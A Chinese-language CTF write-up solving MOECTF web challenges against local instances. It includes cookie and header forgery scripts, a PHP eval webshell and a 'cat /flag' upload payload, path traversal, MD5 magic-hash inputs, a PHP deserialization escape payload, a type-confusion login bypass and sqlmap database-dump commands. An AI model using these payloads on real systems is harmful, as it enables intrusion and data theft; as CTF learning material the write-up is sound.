MOECTF-WEB方向的一些wp

作为小白的我直接霸王硬上弓,虽然解题速度确实不如一些老赛棍和天赋型选手....

工具准备:

        burpsuite

        hackbar(可选)

        python环境(写脚本用)

WEB:

1)http:

问题概述:

很显然这个饼干就说明我们需要对cookie有一定的熟悉程度。

详细的我就不多说了,直接上题!

打开环境的网页后,得到这个东西。

很显然了,我们需要完成这几个任务,才能拿到flag。

(因为我是纯小白,为了弄明白这几个参数以及如何在http报文的位置上写花了很多工夫...)

来吧,直接干!

burpsuite抓个包先:

老样子,抓代理过后repeat一下,这里哥们直接节约时间,你们找找不同就知道为什么这么做了。

在这里我首先用了一个python脚本:

import requests

url = "http://localhost:58766/"  # POST请求的目标URL
headers = {
    "User-Agent": "MoeBrowser",  # 设置请求头中的User-Agent字段为MoeBrowser,
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Cookie": "character=admin", # 设置cookie权限为admin
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-User": "?1"
}

data = {
    "Luv": "u"
}                         # 添加Luv=u的数据
params = {
    "UwU": "u"
}                         # 添加UwU=u的参数
proxies = {
    "http": "http://127.0.0.1:8080"
}                         # 设置抓包代理,这样运行脚本我用burpsuite也可以抓到包了
response = requests.post(url, params=params, data=data, headers=headers, proxies=proxies)

print(response.text)  # 打印响应的内容

#最后在burpsuite里面抓包抓到这个东西,然后在content_length前面添加XFF伪造IP地址,也就是X-Forwarded-For: 127.0.0.1,这样我们就完成了所有任务,拿到了flag,详情见下

 

 结束!

2)cookie:

这道题,只能说需要的知识点很多,我当时卡了有点久,恶补了好多东西wwww...但是熟悉了知识和工具的运用就很简单了。

直接上题:

环境一看,人傻了,这啥玩意???

其实它还给了一个提示,也就是json的使用,这个网站需要注册和登录。

思路其实就是:

我们首先要知道,cookie是有base64加密的,我们应该先注册一个新用户,然后然后登入这个新用户,把这个新用户的cookie权限提高,从而访问到里面的flag。

这道题我单纯的抓包也没抓明白,那干脆先写脚本吧:

import requests
# 导入requests库
# 创建一个Session对象
s = requests.Session()

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

# 发送一个注册请求
resp = s.post('http://localhost:61166/register', json={'username': 'admin', 'password': 'admin'}, proxies=proxies)
# 打印响应的状态码
print(resp.status_code)

# 发送一个登录请求
resp = s.post('http://localhost:61166/login', json={'username': 'admin', 'password': 'admin'}, proxies=proxies)
# 打印响应的状态码
print(resp.status_code)


# 查询服务状态
resp = s.get('http://localhost:61166/status', proxies=proxies)
# 打印响应的内容
print(resp.text)
# 获取flag
resp = s.get('http://localhost:61166/flag', proxies=proxies)
# 打印响应的内容
print(resp.text)

笔者为了节约时间,很多解释就免了,这里我们运行这个脚本,然后用burpsuite抓包一看:

蛙趣,还不让注册admin?而且这道题怎么跟cookie沾上边呢?难搞哦~~~

那就注册个新的吧:

成了!

关掉那个burpsuite的拦截,我们看到脚本的运行:

那看来需要登陆啊,直接在报文上进行操作吧:

登录了,cookie也来了,我们就需要开始操作了。

结尾两个等号,典型的base64密码。我们可以直接利用burpsuite的decoder组件进行操作:

关键出现了,这个role,我们应当改为admin权限才能进。(此处是因为我运行脚本直接拿flag的时候它说我不是admin....)

直接改了然后encode回去:

我们再去设置这个新的管理员cookie,然后flag到手!(哥们当时自己做出了太高兴了,开始一点思路没有我竟然做出来了hhhh)

老实说,这里我是没有思路然后去ctfhub上刷了几个web进阶的json题,终于格局打开。

3)彼岸+大海捞针:

其实就是一个简单的burpsuite扫描search的用法,彼岸一扫就出来:

看起来是个聊天页面,我们根据ctf做题的想法,可能flag藏在了网页源码里:

抓包:

果不其然,一找就找到了。

大海捞针只不过是给你整个了id=1~1000的花活,但是不会真有人一个个试吧....

来吧,直接抓包用burpsuite爆破!

会用工具就行了,在1这两端都加上$,对这个位置爆破:

( 1-1000我直接写个脚本然后保存结果就能再load进去了~~)

直接点start attack就行了,然后在intrude这个result页面,我们在filter这个位置写

moectf{

就可以滤出来了:

然后重复第一个彼岸的search操作,拿到flag。

(这里也可以写个py脚本直接扫出来...)

4)gas!gas!gas!

难住我几天的东西,我还是太小白了...

看题:

看看源码:

我开始有点思维定势,先抓包试了试,没啥用,因为这个时间限制,我也尝试了直接截包然后repeat看能不能整出来,后面发现关键点:

还是cookie。

因为cookie处的session值在我每次尝试后在response里,值更新了,也就是说,每次它的认定次数就是从这个cookie才能知道你操作了几次、现在是第几次、以及五次成功后才会给你flag。

(其实手快一点也可以的...但是我不行...)

既然要0.5s以内,那就上脚本!

import requests
import re
url = 'http://localhost:59101/'

headers = {"Content-Type":"application/x-www-form-urlencoded"}
s = requests.Session()

req_post = s.post(
    url=url,
    data='driver=EddieMurphy&steering_control=0&throttle=2',
    headers=headers)
print(f'cookies = {s.cookies}')

#post_data = 'driver=EddieMurphy&steering_control=0&throttle=2'    #默认

print(re.findall(r'<h3><font color="red">(.*)</font></h3></div>',req_post.text)[0])
req = req_post.text
steering_control = 0
throttle = 0
for _ in range(6):
    if '弯道向左' in req_post.text:
        steering_control = 1
    if '弯道向右' in req_post.text:
        steering_control = -1
    if '弯道直行' in req_post.text:
        steering_control = 0
    if '保持这个速度' in req_post.text:
        throttle = 1
    if '抓地力太大了' in req_post.text:
        throttle = 2
    if '抓地力太小了' in req_post.text:
        throttle = 0
    print(f'{steering_control =}')
    print(f'{throttle =}')

    req_post = s.post(
        url=url,
        data=f'driver=EddieMurphy&steering_control={steering_control}&throttle={throttle}',
        headers=headers
    )

    print(req_post.text)      #这里在最后可以看到反馈,也就是flag
    print(re.findall(r'<h3><font color="red">(.*)</font></h3></div>',req_post.text)[0])
    print(f'cookies = {s.cookies}')

运行,冲刺!

最后一次虽然报错了,是因为你已经成功了,当然检测不到了。

我们往上翻response的text,发现了flag:

 芜湖,起飞~~~~

5)moe图床

nnd,这个也是我基本上把web的所有文件上传题都复现一遍后,然后尝试了一下才发现我是小丑...

看题:

 很经典的文件上传,看看源码想想黑进去的方法:

我就放一个我当时的分析吧,因为也是困扰我好久的东西wwww.....

我开始的常规思路就是,写个一句话木马,然后改后缀为.png:

<?php @eval($_POST["cmd"]); ?>

然后点上传,在bp拦截后改后缀为php,用蚁剑连接。

1、不能上传php文件									--前端有验证后缀功能

2、可以上传png文件									
3、可以上传图片马										
4、可以上传改了后缀的一句话木马							--只要是png为后缀都能传

5、拦截后直接改后缀为.php不行							--后端有验证/有过滤功能

6、服务器是Apache/2.4.25								--攻击应该围绕apache服务器的漏洞进行攻击

7、查看源码后发现校验png后缀的函数包含在上传函数中,
而且好像是用.来进行分割查找后缀名然后判断的				--是白名单过滤的方法,而且只允许.png

8、上传不了.htaccess等						--这些办法行不通

9、网站过滤处源码:
  allowedExtensions = ['png'];
  const fileExtension = file.name.split('.').pop().toLowerCase();
  if (!allowedExtensions.includes(fileExtension)) {
  alert('只允许上传后缀名为png的文件!');
    return;
  }													--通过split()从点号把文件名分割到一个数组,然后pop()取出最后一个元素并转为小写,也就是“后缀名”
  													--然后通过includes()方法判断allowedExtensions这个单元素数组包不包含上一步取出的“后缀名”,
  													--也就是“后缀名”必须等于png,才能通过检验

10、上传类似:5.php.png格式也失败了					--这个用点来绕过的方法失效

总结:	必须直接传.png文件然后想办法

bp抓包,然后奇思妙想,打开了新思路。

想了想源码,应该是只要第一个点后面是.png就可以绕过上传。

我们的一句话木马可以写成这样啊:

<?php system("cat /flag"); ?>

说干就干!

截包:

改后缀名:

 也传上去了:

我开始一直想对这个地址干事,其实,直接访问我们的图片马就行了。

 Gorgeous!

(其实想通了后,此处也是可以用蚁剑连接一句话木马的,也可以在文件里拿到flag)

但是我做了好几个文件上传的题目,知道了一个问题,就是在连接蚁剑的时候,新手常出的问题就是把网站目录当成了根目录,在网址里写/var/www/html/upload/balabala,这就会连不上,因为这就不是根目录。

网站本身就是在html目录里面的,所以网址应该是<url>/upload/balabala,这才能连接上。

6)meo图床

也是上传文件,看看源码:

没啥线索,就给了个白名单。

开始以为是二次渲染,但是感觉就太难了...这可是新生赛啊...

上传图片马啥的那些方法都不行了,估计有内容检测,各种方法也行不通。

那我们就传个正常的,看看它搞什么灯:

好家伙,传了还能看,就对这个抓个包:

看到GET行那个name了吗,我搜了下,估计这道题可以文件路径穿越:

乐,这下爆金币了哈哈哈~~~

虽然没直接给你说flag,但这条路应该就是对的,我们走下去,直接在网站上访问这个路径:

给你个网站源码,一看就知道了,md5的弱类型绕过,因为刷了几道题我也知道该干啥,只需要传param1和param2上去,并且二者md5转换后头为0e就行了,因为会认定为科学计数法,所以后面的无论是啥都是正确的。

用个常用的:

param1=240610708
param2=QNKCDZO

可以bp传,也可以网站上直接传:

 

flag收入囊中~~~

7)了解你的座驾

(嘿嘿嘿,我其实也想开bmw...,以后再说吧)

 我超,原!

咳咳,我们看看它说了啥,flag在根目录里?

搜根目录的方法有很多,但是我怎么知道是啥漏洞?

那就看看源码:

还就那个逮到hhh~~~

搜了下,发现这应该是XXE漏洞,就是XML代码的外部实体注入。

再去搜了下注入方法,发现hackbar就可以注入:

我们先去转一下url编码,然后给它post上去:

先写个XML,然后转成url编码:

然后hackbar直接上:

运行即得到flag,(虽然这些车都可以,刻晴其实也不错嘿嘿嘿)

 8)夺命十三枪

这道题的题目和内容太搞了哈哈哈哈哈哈哈哈哈.......

我还特意去温习了一遍夺命十三枪的圣经(bushi)

......咳咳,言归正传,看题吧:

看到这题的serialize就知道考察的是php反序列化知识,并且光看这页内容也看不出个什么,发现require有个Hanxin.exe.php,赤裸裸地邀请你去看夺命十三枪韩信的神枪,那么我们就去看看:

蛙趣,哥们当时看到这个已经乐得笑闷了,夺命十三枪就算了,最后这个MaoLei是真的搞哈哈哈哈哈!(猫雷!!!!)

 不多说了,我们先审计以下php代码,而php反序列化需要的就是找到pop链和入口、出口,构造出payload进去:

首先可以看见需要我们GET传一个chant参数,这就是我们传payload的方式。我们看到只要Spear_Owner成为MaoLei那么就可以拿到flag,而且这里使用的是__toString()方法,echo便能直接触发,也就是我们所说的出口,所以在第一个页面那里:

echo unserialize($after)

我们可以得知,这里就是切入口,我们需要想办法使一个构造好的序列化参数到这个after变量,从而帮助我们达到逃逸的效果。

而这一段代码便是提示了逃逸的方式:

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
    echo unserialize($after); 

我们必须利用Deadly_Thirteen_Spears类里的Make_a_Move函数实现字符串逃逸。

我首先尝试了传一个简单的把Nobody改成MaoLei的参,但是失败了,而且下方显示的是我构造的序列化参数嵌入了“夺命十三枪”那里,也就是chant的值,这里我想了很久,才想到我们必须逃逸字符串限制强行先在后续Nobody没有反序列化出来时就先反序列化了MaoLei。

简单来说,就是Movement反馈里的这段:

夺命十三枪";s:11:"Spear_Owner";s:6:"Nobody";}

之后,我们把传chant的参进来替换夺命十三枪成为:

";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}

双引号 " 可以提前终止chant的读取,后面就可以插入payload截胡。思路更清晰点的话,此时我们需要逃逸";s:11:"Spear_Owner";s:6:"MaoLei";}这串字符串,一共是35个字符(11算两个字符,因为是字符串),这时就需要Make_a_Move的字符串替换函数了,“一枪一枪”地看,我们发现第七枪--忘川:

"di_qi_qiang" => "Penetrating_Gaze"

从11个字符可以替换为16个字符,也就是逃逸了5个字符,那么我们的chant传参只要传7次di_qi_qiang,就能逃逸出35个字符串,从而放入我们的payload!!!

payload如下:

?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

 传入网页即得到flag!(不得不说出题人脑子里想的东西确实挺抽象的......)

 9)signin

WEB开始渐渐上强度了,不会代码审计的基本上就是寄中寄,这次我是真笑不出来了。

卡了好久好久...

先看看它给的附件吧:

from secrets import users, salt
import hashlib
import base64
import json
import http.server

with open("flag.txt","r") as f:
    FLAG = f.read().strip()

def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]

assert "admin" in users
assert users["admin"] == "admin"

hashed_users = dict((k,gethash(k,v)) for k,v in users.items())

eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?
    
def decrypt(data:str):
        for x in range(5):
            data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?
        return data

__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==")
        
class MyHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            if self.path == "/":
                self.send_response(200)
                self.end_headers()
                self.wfile.write(__page__)
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

    def do_POST(self):
        try:
            if self.path == "/login":
                body = self.rfile.read(int(self.headers.get("Content-Length")))
                payload = json.loads(body)
                params = json.loads(decrypt(payload["params"]))
                print(params)
                if params.get("username") == "admin":
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
                    print("admin")
                    return
                if params.get("username") == params.get("password"):
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
                    print("same")
                    return
                hashed = gethash(params.get("username"),params.get("password"))
                for k,v in hashed_users.items():
                    if hashed == v:
                        data = {
                            "user":k,
                            "hash":hashed,
                            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                        }
                        self.send_response(200)
                        self.end_headers()
                        self.wfile.write(json.dumps(data).encode())
                        print("success")
                        return
                self.send_response(403)
                self.end_headers()
                self.wfile.write(b"Invalid username or password")
            else:
                self.send_response(404)
                self.end_headers()
                self.wfile.write(b"404 Not Found")
        except Exception as e:
            print(e)
            self.send_response(500)
            self.end_headers()
            self.wfile.write(b"500 Internal Server Error")

if __name__ == "__main__":
    server = http.server.HTTPServer(("", 9999), MyHandler)
    server.serve_forever()

看起来一大串东西,我们拣选关键信息:

首先关注的肯定是登录认证的方式,这里我们发现是这个POST函数和hash函数:

    def do_POST(self):
        try:
            if self.path == "/login":
                body = self.rfile.read(int(self.headers.get("Content-Length")))
                payload = json.loads(body)
                params = json.loads(decrypt(payload["params"]))
                print(params)
                if params.get("username") == "admin":
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")
                    print("admin")
                    return
                if params.get("username") == params.get("password"):
                    self.send_response(403)
                    self.end_headers()
                    self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")
                    print("same")
                    return
                hashed = gethash(params.get("username"),params.get("password"))
                for k,v in hashed_users.items():
                    if hashed == v:
                        data = {
                            "user":k,
                            "hash":hashed,
                            "flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"
                        }
def gethash(*items):
    c = 0
    for item in items:
        if item is None:
            continue
        c ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?
    return hex(c)[2:]

浅浅看了下,表面上是需要我们传admin/admin就能登录,但是需要经过hash加密手段,而hash加密函数出现在这里,出题人也给了个注释提示这里是突破口。

那么我们首先就要先了解这里为什么可以是不安全的,看起来很大一串,实际上如果我们只传两个item在的items进去,这个加密算法就只等效于一个异或算法。

----换句话说,联想以下admin/admin,如果我们只传两个相等的参数,结果只会是0。

再分析源码那一大串网页数据,发现其实是eval()语句将base64.b64encode覆写为base64.b64decode,base64解密后就是那个登录网站的源代码。

但是,传入参数的地方两个过滤,可以看到username不能等于“admin”,username也不能等于"password",拿到flag就需要hashed值为0,何解?

----这里可以利用 == 来做文章,虽然json代码解析将 1 == "1" 的判定是false(一个是int,一个是str),不像php格式这种弱类型比较可以直接相等返回true,但是hash函数里还有个加盐的操作:

f"{salt}[{item}]{salt}"

这个东西可以将不同的数据类型都转换为str类型,那不就好了吗,它自己帮我们解决了这个问题,判定就成功了。

比如对于以下这个传参,我们只需要传入"1" 和 1 再加上这个加盐的操作就能绕开这个 == 的限制。

if params.get("username") == params.get("password"):

说干就干,直接开写脚本:(我写脚本实在太拉了,这里是我看了下博主q1jun的blog里的这个python脚本然后复现的)

import requests
import base64

url = "http://localhost:61203/login"

username = "\"1\""
password = "1"

json = "{\"username\":" + f"{username}" + ",\"password\":" + f"{password}" + "}"
#json = {username: "1",password: 1}

print(f"{json = }")

for _ in range(5):
    json = base64.b64encode(str(json).encode()).decode()

data = "{\"params\":\"" + f"{json}\"" + "}"
print(f"{data = }")
req = requests.post(url=url,data=data).text
print(f"{req =}")

运行得到flag:

10)心海的小屋

我超,原!!!

但是心海确实很好看捏~~

......咳咳,言归正传,看看她要整什么奇怪的东西,让我访问!!!

没啥思路,信息泄露啥的也试了,用不了。

看看内容,也许会有提示什么的。

仔细一看:

嗨嗨嗨,这下露出马脚了吧,既然是提示了日志,那么我们去F12的网络里看一下有没有这类文件,而数据库在这里摆着,估计是sql注入。

果然有猫腻,这个logger.php无风不起浪,我们就去看看是什么:

我超,源码!!

一看就知道是sql注入了,而且是post型的注入,那么我们先用Hackbar的POST传这三个参,然后bp抓包后保存到本地文档,然后sqlmap一条龙直接梭:

 

python sqlmap.py -r "C:\Users\75279\Desktop\payload.txt" --dbs -p time

python sqlmap.py -r "C:\Users\75279\Desktop\payload.txt" -p time -D "wordpress" --tables

python sqlmap.py -r "C:\Users\75279\Desktop\payload.txt" -p time -D "wordpress" -T "secret_of_kokomi" --col

python sqlmap.py -r "C:\Users\75279\Desktop\payload.txt" -p time -D "wordpress" -T "secret_of_kokomi" -C "content" --dump

 

成功拿到flag~~

小心海,你的秘密被我看完喽,你还是太嫩了hiahiahiahiahia~~

(未完待续......)

11)moeworld

只能说,这道题真的是集大成者。

无法用言语形容,因为我搜了很多资料,但大部分不是攻击原理,而是工具使用...一堆bug....

话不多说,来看看这个最后一题:

解压这个压缩包密码是上一道题目的flag。

